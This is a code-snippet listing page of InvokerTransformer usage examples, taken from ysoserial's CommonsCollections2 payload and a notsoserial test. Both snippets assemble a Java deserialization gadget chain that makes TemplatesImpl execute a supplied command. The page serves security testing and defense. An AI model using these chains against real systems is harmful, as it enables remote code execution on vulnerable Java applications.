List of usage examples for org.apache.commons.collections4.functors InvokerTransformer InvokerTransformer
public InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args)
From source file:jenkins.security.security218.ysoserial.payloads.CommonsCollections2.java
public Queue<Object> getObject(final String command) throws Exception { final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer)); // stub data for replacement later queue.add(1);/*from w w w . ja v a 2 s .co m*/ queue.add(1); // switch method called by comparator Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = 1; return queue; }
From source file:org.kantega.notsoserial.CreateBytesIT.java
private Object nastySerializable() { InvokerTransformer transformer = new InvokerTransformer("toString", new Class[] {}, new Object[] {}); Queue priorityQueue = new PriorityQueue(2, new TransformingComparator(transformer)); priorityQueue.add(1);/*from w w w. j a va 2 s . c o m*/ priorityQueue.add(1); TemplatesImpl templates = createTemplates(); setFieldValue(transformer, "iMethodName", "newTransformer"); Object[] queue = (Object[]) getFieldValue(priorityQueue, "queue"); queue[0] = templates; queue[1] = templates; return priorityQueue; }